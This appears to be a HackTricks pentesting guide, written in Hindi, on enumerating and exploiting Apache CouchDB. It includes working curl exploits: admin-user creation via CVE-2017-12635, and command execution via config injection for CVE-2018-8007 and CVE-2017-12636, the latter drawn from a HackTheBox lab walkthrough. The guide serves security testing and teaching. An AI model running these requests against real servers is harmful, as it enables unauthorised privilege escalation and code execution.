# 5984,6984 - Pentesting CouchDB {{#include ../banners/hacktricks-training.md}} ## **बुनियादी जानकारी** **CouchDB** एक बहुपरकारी और शक्तिशाली **दस्तावेज़-उन्मुख डेटाबेस** है जो डेटा को प्रत्येक **दस्तावेज़** के भीतर **की-मान मानचित्र** संरचना का उपयोग करके व्यवस्थित करता है। दस्तावेज़ के भीतर के फ़ील्ड को **की/मान जोड़े, सूचियों, या मानचित्रों** के रूप में प्रस्तुत किया जा सकता है, जो डेटा संग्रहण और पुनर्प्राप्ति में लचीलापन प्रदान करता है। CouchDB में संग्रहीत प्रत्येक **दस्तावेज़** को दस्तावेज़ स्तर पर एक **विशिष्ट पहचानकर्ता** (`_id`) सौंपा जाता है। इसके अतिरिक्त, डेटाबेस में किए गए और सहेजे गए प्रत्येक संशोधन को एक **संशोधन संख्या** (`_rev`) सौंपा जाता है। यह संशोधन संख्या **परिवर्तनों के कुशल ट्रैकिंग और प्रबंधन** की अनुमति देती है, जिससे डेटाबेस के भीतर डेटा की आसान पुनर्प्राप्ति और समन्वय की सुविधा मिलती है। **डिफ़ॉल्ट पोर्ट:** 5984(http), 6984(https) ``` PORT STATE SERVICE REASON 5984/tcp open unknown syn-ack ``` ## **स्वचालित गणना** ```bash nmap -sV --script couchdb-databases,couchdb-stats -p msf> use auxiliary/scanner/couchdb/couchdb_enum ``` ## मैनुअल एन्यूमरेशन ### बैनर ``` curl http://IP:5984/ ``` यह स्थापित CouchDB उदाहरण के लिए एक GET अनुरोध जारी करता है। उत्तर कुछ इस तरह दिखना चाहिए: ```bash {"couchdb":"Welcome","version":"0.10.1"} {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} ``` > [!NOTE] > ध्यान दें कि यदि आप couchdb की रूट तक पहुँचते हैं और आपको `401 Unauthorized` मिलता है जैसे: `{"error":"unauthorized","reason":"Authentication required."}` **तो आप** बैनर या किसी अन्य एंडपॉइंट तक पहुँच नहीं पाएंगे। ### Info Enumeration ये वे एंडपॉइंट हैं जहाँ आप **GET** अनुरोध के साथ पहुँच सकते हैं और कुछ दिलचस्प जानकारी निकाल सकते हैं। आप [**couchdb दस्तावेज़ में और अधिक एंडपॉइंट और अधिक विस्तृत विवरण पा सकते हैं**](https://docs.couchdb.org/en/latest/api/index.html)। - **`/_active_tasks`** चल रहे कार्यों की सूची, जिसमें कार्य का प्रकार, नाम, स्थिति और प्रक्रिया ID शामिल है। - **`/_all_dbs`** CouchDB उदाहरण में सभी डेटाबेस की सूची लौटाता है। - **`/_cluster_setup`** क्लस्टर सेटअप विज़ार्ड के अनुसार नोड या क्लस्टर की स्थिति लौटाता है। - **`/_db_updates`** CouchDB उदाहरण में सभी डेटाबेस घटनाओं की सूची लौटाता है। इस एंडपॉइंट का उपयोग करने के लिए `_global_changes` डेटाबेस का अस्तित्व आवश्यक है। - **`/_membership`** `cluster_nodes` के रूप में क्लस्टर का हिस्सा होने वाले नोड्स को प्रदर्शित करता है। फ़ील्ड `all_nodes` उन सभी नोड्स को प्रदर्शित करता है जिनके बारे में इस नोड को पता है, जिसमें क्लस्टर का हिस्सा होने वाले नोड्स भी शामिल हैं। - **`/_scheduler/jobs`** पुनरुत्पादन कार्यों की सूची। प्रत्येक कार्य विवरण में स्रोत और लक्ष्य जानकारी, पुनरुत्पादन ID, हाल की घटनाओं का इतिहास, और कुछ अन्य चीजें शामिल होंगी। - **`/_scheduler/docs`** पुनरुत्पादन दस्तावेज़ राज्यों की सूची। इसमें सभी दस्तावेज़ों के बारे में जानकारी शामिल है, यहां तक कि `completed` और `failed` राज्यों में भी। प्रत्येक दस्तावेज़ के लिए यह दस्तावेज़ ID, डेटाबेस, पुनरुत्पादन ID, स्रोत और लक्ष्य, और अन्य जानकारी लौटाता है। - **`/_scheduler/docs/{replicator_db}`** - **`/_scheduler/docs/{replicator_db}/{docid}`** - **`/_node/{node-name}`** `/_node/{node-name}` एंडपॉइंट का उपयोग उस सर्वर के Erlang नोड नाम की पुष्टि करने के लिए किया जा सकता है जो अनुरोध को संसाधित करता है। यह `/_node/_local` तक पहुँचने पर इस जानकारी को प्राप्त करने के लिए सबसे उपयोगी है। - **`/_node/{node-name}/_stats`** `_stats` संसाधन एक JSON ऑब्जेक्ट लौटाता है जिसमें चल रहे सर्वर के लिए सांख्यिकी होती है। शाब्दिक स्ट्रिंग `_local` स्थानीय नोड नाम के लिए एक उपनाम के रूप में कार्य करती है, इसलिए सभी सांख्यिकी URL के लिए, `{node-name}` को `_local` के साथ प्रतिस्थापित किया जा सकता है, ताकि स्थानीय नोड की सांख्यिकी के साथ बातचीत की जा सके। - **`/_node/{node-name}/_system`** \_systemresource एक JSON ऑब्जेक्ट लौटाता है जिसमें चल रहे सर्वर के लिए विभिन्न सिस्टम-स्तरीय सांख्यिकी होती है। आप वर्तमान नोड जानकारी प्राप्त करने के लिए {node-name} के रूप में \_\_`_local` का उपयोग कर सकते हैं। - **`/_node/{node-name}/_restart`** - **`/_up`** पुष्टि करता है कि सर्वर चालू है, चल रहा है, और अनुरोधों का उत्तर देने के लिए तैयार है। यदि [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) `true` या `nolb` है, तो एंडपॉइंट 404 प्रतिक्रिया लौटाएगा। - **`/_uuids`** CouchDB उदाहरण से एक या अधिक यूनिवर्सली यूनिक आइडेंटिफायर (UUIDs) का अनुरोध करता है। - **`/_reshard`** पूर्ण, विफल, चल रहे, रुके हुए, और कुल कार्यों की संख्या के साथ-साथ क्लस्टर पर पुनःशार्दन की स्थिति लौटाता है। यहाँ समझाए गए अनुसार अधिक दिलचस्प जानकारी निकाली जा सकती है: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) ### **Database List** ``` curl -X GET http://IP:5984/_all_dbs ``` यदि वह अनुरोध **401 अनधिकृत** के साथ प्रतिक्रिया करता है, तो आपको डेटाबेस तक पहुँचने के लिए कुछ **मान्य क्रेडेंशियल्स** की आवश्यकता है: ``` curl -X GET http://user:password@IP:5984/_all_dbs ``` सही Credentials खोजने के लिए आप **कोशिश कर सकते हैं** [**सेवा को ब्रूटफोर्स करें**](../generic-hacking/brute-force.md#couchdb)। यह एक **उदाहरण** है एक couchdb **प्रतिक्रिया** का जब आपके पास **पर्याप्त विशेषाधिकार** होते हैं डेटाबेस की सूची बनाने के लिए (यह केवल डेटाबेस की एक सूची है): ```bash ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"] ``` ### Database Info आप कुछ डेटाबेस जानकारी (जैसे फ़ाइलों की संख्या और आकार) डेटाबेस नाम तक पहुँचकर प्राप्त कर सकते हैं: ```bash curl http://IP:5984/ curl http://localhost:5984/simpsons #Example response: {"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"} ``` ### **Document List** डेटाबेस के अंदर प्रत्येक प्रविष्टि की सूची बनाएं ```bash curl -X GET http://IP:5984/{dbname}/_all_docs curl http://localhost:5984/simpsons/_all_docs #Example response: {"total_rows":7,"offset":0,"rows":[ {"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}}, {"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}}, {"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}}, {"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}}, {"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}}, {"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}}, {"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}} ]} ``` ### **दस्तावेज़ पढ़ें** एक डेटाबेस के अंदर एक दस्तावेज़ की सामग्री पढ़ें: ```bash curl -X GET http://IP:5984/{dbname}/{id} curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9 #Example response: {"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"} ``` ## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) Erlang और JavaScript JSON पार्सर्स के बीच के अंतर के कारण आप निम्नलिखित अनुरोध के साथ **एक एडमिन उपयोगकर्ता** बना सकते हैं जिसमें क्रेडेंशियल्स `hacktricks:hacktricks` हैं: ```bash curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json" ``` [**इस vuln के बारे में अधिक जानकारी यहाँ**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html). ## CouchDB RCE ### **Erlang कुकी सुरक्षा अवलोकन** उदाहरण [यहाँ से](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). CouchDB दस्तावेज़ में, विशेष रूप से क्लस्टर सेट-अप के संबंध में अनुभाग में ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), क्लस्टर मोड में CouchDB द्वारा पोर्ट के उपयोग पर चर्चा की गई है। इसमें उल्लेख किया गया है कि, स्टैंडअलोन मोड की तरह, पोर्ट `5984` का उपयोग किया जाता है। इसके अतिरिक्त, पोर्ट `5986` नोड-स्थानीय APIs के लिए है, और महत्वपूर्ण रूप से, Erlang को Erlang पोर्ट मैपर डेमन (EPMD) के लिए TCP पोर्ट `4369` की आवश्यकता होती है, जो Erlang क्लस्टर के भीतर नोड संचार को सुविधाजनक बनाता है। यह सेटअप एक नेटवर्क बनाता है जहाँ प्रत्येक नोड हर अन्य नोड के साथ इंटरलिंक होता है। पोर्ट `4369` के संबंध में एक महत्वपूर्ण सुरक्षा सलाह को उजागर किया गया है। यदि इस पोर्ट को इंटरनेट या किसी अविश्वसनीय नेटवर्क पर सुलभ बनाया जाता है, तो सिस्टम की सुरक्षा एक अद्वितीय पहचानकर्ता "कुकी" पर भारी रूप से निर्भर करती है। यह कुकी एक सुरक्षा उपाय के रूप में कार्य करती है। उदाहरण के लिए, एक दिए गए प्रक्रिया सूची में, "monster" नामक कुकी देखी जा सकती है, जो सिस्टम की सुरक्षा ढांचे में इसकी संचालन भूमिका को इंगित करती है। ``` www-data@canape:/$ ps aux | grep couchdb root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b ``` उन लोगों के लिए जो यह समझने में रुचि रखते हैं कि इस "कुकी" का उपयोग कैसे किया जा सकता है Remote Code Execution (RCE) के लिए Erlang सिस्टम के संदर्भ में, आगे पढ़ने के लिए एक समर्पित अनुभाग उपलब्ध है। यह अनधिकृत तरीकों से Erlang कुकीज़ का लाभ उठाने की विधियों का विवरण देता है ताकि सिस्टम पर नियंत्रण प्राप्त किया जा सके। आप [**यहां RCE के लिए Erlang कुकीज़ का दुरुपयोग करने पर विस्तृत मार्गदर्शिका का अन्वेषण कर सकते हैं**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)। ### **local.ini में संशोधन के माध्यम से CVE-2018-8007 का शोषण** उदाहरण [यहां से](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)। हाल ही में प्रकट हुई एक भेद्यता, CVE-2018-8007, जो Apache CouchDB को प्रभावित करती है, का अन्वेषण किया गया, जिसमें यह पता चला कि शोषण के लिए `local.ini` फ़ाइल पर लिखने की अनुमति की आवश्यकता होती है। हालांकि सुरक्षा प्रतिबंधों के कारण यह सीधे लक्षित प्रणाली पर लागू नहीं होता है, लेकिन अन्वेषण के उद्देश्यों के लिए `local.ini` फ़ाइल पर लिखने की अनुमति देने के लिए संशोधन किए गए। नीचे प्रक्रिया को प्रदर्शित करने के लिए विस्तृत चरण और कोड उदाहरण प्रदान किए गए हैं। पहले, वातावरण को इस बात की पुष्टि करके तैयार किया जाता है कि `local.ini` फ़ाइल लिखने योग्य है, जिसे अनुमतियों की सूची बनाकर सत्यापित किया जाता है: ```bash root@canape:/home/homer/etc# ls -l -r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini -rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini -r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk -r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args ``` इस कमजोरियों का लाभ उठाने के लिए, एक curl कमांड निष्पादित की जाती है, जो `local.ini` में `cors/origins` कॉन्फ़िगरेशन को लक्षित करती है। यह `[os_daemons]` अनुभाग के तहत अतिरिक्त कमांड के साथ एक नया मूल जोड़ता है, जिसका उद्देश्य मनमाने कोड को निष्पादित करना है: ```bash www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf" ``` पश्चात सत्यापन `local.ini` में इंजेक्ट की गई कॉन्फ़िगरेशन को दिखाता है, जिसमें परिवर्तनों को उजागर करने के लिए एक बैकअप के साथ तुलना की गई है: ```bash root@canape:/home/homer/etc# diff local.ini local.ini.bk 119,124d118 < [cors] < origins = 0xdf < [os_daemons] < test_daemon = /usr/bin/touch /tmp/0xdf ``` शुरुआत में, अपेक्षित फ़ाइल (`/tmp/0xdf`) मौजूद नहीं है, जो यह दर्शाता है कि इंजेक्ट किया गया कमांड अभी तक निष्पादित नहीं हुआ है। आगे की जांच से पता चलता है कि CouchDB से संबंधित प्रक्रियाएँ चल रही हैं, जिसमें एक ऐसा भी है जो संभावित रूप से इंजेक्ट किए गए कमांड को निष्पादित कर सकता है: ```bash root@canape:/home/homer/bin# ps aux | grep couch ``` पहचाने गए CouchDB प्रक्रिया को समाप्त करके और सिस्टम को स्वचालित रूप से इसे पुनः प्रारंभ करने की अनुमति देकर, इंजेक्ट किए गए कमांड का निष्पादन ट्रिगर होता है, जिसे पहले गायब फ़ाइल की उपस्थिति से पुष्टि की जाती है: ```bash root@canape:/home/homer/etc# kill 711 root@canape:/home/homer/etc# ls /tmp/0xdf /tmp/0xdf ``` यह अन्वेषण विशेष परिस्थितियों के तहत CVE-2018-8007 शोषण की व्यवहार्यता की पुष्टि करता है, विशेष रूप से `local.ini` फ़ाइल के लिए लिखने योग्य पहुंच की आवश्यकता। प्रदान किए गए कोड उदाहरण और प्रक्रियात्मक चरण नियंत्रित वातावरण में शोषण को दोहराने के लिए एक स्पष्ट मार्गदर्शिका प्रदान करते हैं। CVE-2018-8007 के बारे में अधिक जानकारी के लिए, mdsec द्वारा सलाहकार की ओर देखें: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)। ### **local.ini पर लिखने की अनुमति के साथ CVE-2017-12636 का अन्वेषण** उदाहरण [यहां से](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)। CVE-2017-12636 के रूप में ज्ञात एक भेद्यता का अन्वेषण किया गया, जो CouchDB प्रक्रिया के माध्यम से कोड निष्पादन को सक्षम बनाता है, हालांकि विशिष्ट कॉन्फ़िगरेशन इसके शोषण को रोक सकते हैं। ऑनलाइन उपलब्ध कई प्रमाणित अवधारणाओं (POC) के संदर्भों के बावजूद, CouchDB संस्करण 2 पर भेद्यता का शोषण करने के लिए समायोजन आवश्यक हैं, जो सामान्यतः लक्षित संस्करण 1.x से भिन्न है। प्रारंभिक चरणों में CouchDB संस्करण की पुष्टि करना और अपेक्षित क्वेरी सर्वरों के पथ की अनुपस्थिति की पुष्टि करना शामिल है: ```bash curl http://localhost:5984 curl http://0xdf:df@localhost:5984/_config/query_servers/ ``` CouchDB संस्करण 2.0 के लिए, एक नया पथ उपयोग किया जाता है: ```bash curl 'http://0xdf:df@localhost:5984/_membership' curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers ``` नए क्वेरी सर्वर को जोड़ने और उसे सक्रिय करने के प्रयासों को अनुमति से संबंधित त्रुटियों का सामना करना पड़ा, जैसा कि निम्नलिखित आउटपुट द्वारा संकेतित है: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` अधिक जांच से `local.ini` फ़ाइल के साथ अनुमति समस्याएँ सामने आईं, जो लिखने योग्य नहीं थी। रूट या होमर एक्सेस के साथ फ़ाइल अनुमतियों को संशोधित करके, आगे बढ़ना संभव हो गया: ```bash cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b chmod 666 /home/homer/etc/local.ini ``` अगले प्रयासों में क्वेरी सर्वर को जोड़ने में सफलता मिली, जैसा कि प्रतिक्रिया में त्रुटि संदेशों की कमी से स्पष्ट है। `local.ini` फ़ाइल में सफल संशोधन की पुष्टि फ़ाइल तुलना के माध्यम से की गई: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` इस प्रक्रिया में एक डेटाबेस और एक दस्तावेज़ बनाने के साथ-साथ नए जोड़े गए क्वेरी सर्वर के लिए कस्टम व्यू मैपिंग के माध्यम से कोड निष्पादित करने का प्रयास किया गया: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/df' curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}' curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' ``` A [**सारांश**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) जिसमें एक वैकल्पिक पेलोड है, विशेष परिस्थितियों के तहत CVE-2017-12636 का शोषण करने के लिए और जानकारी प्रदान करता है। इस कमजोरियों का शोषण करने के लिए **उपयोगी संसाधन** में शामिल हैं: - [POC शोषण कोड](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py) - [शोषण डेटाबेस प्रविष्टि](https://www.exploit-db.com/exploits/44913/) ## Shodan - `port:5984 couchdb` ## संदर्भ - [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) - [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) {{#include ../banners/hacktricks-training.md}}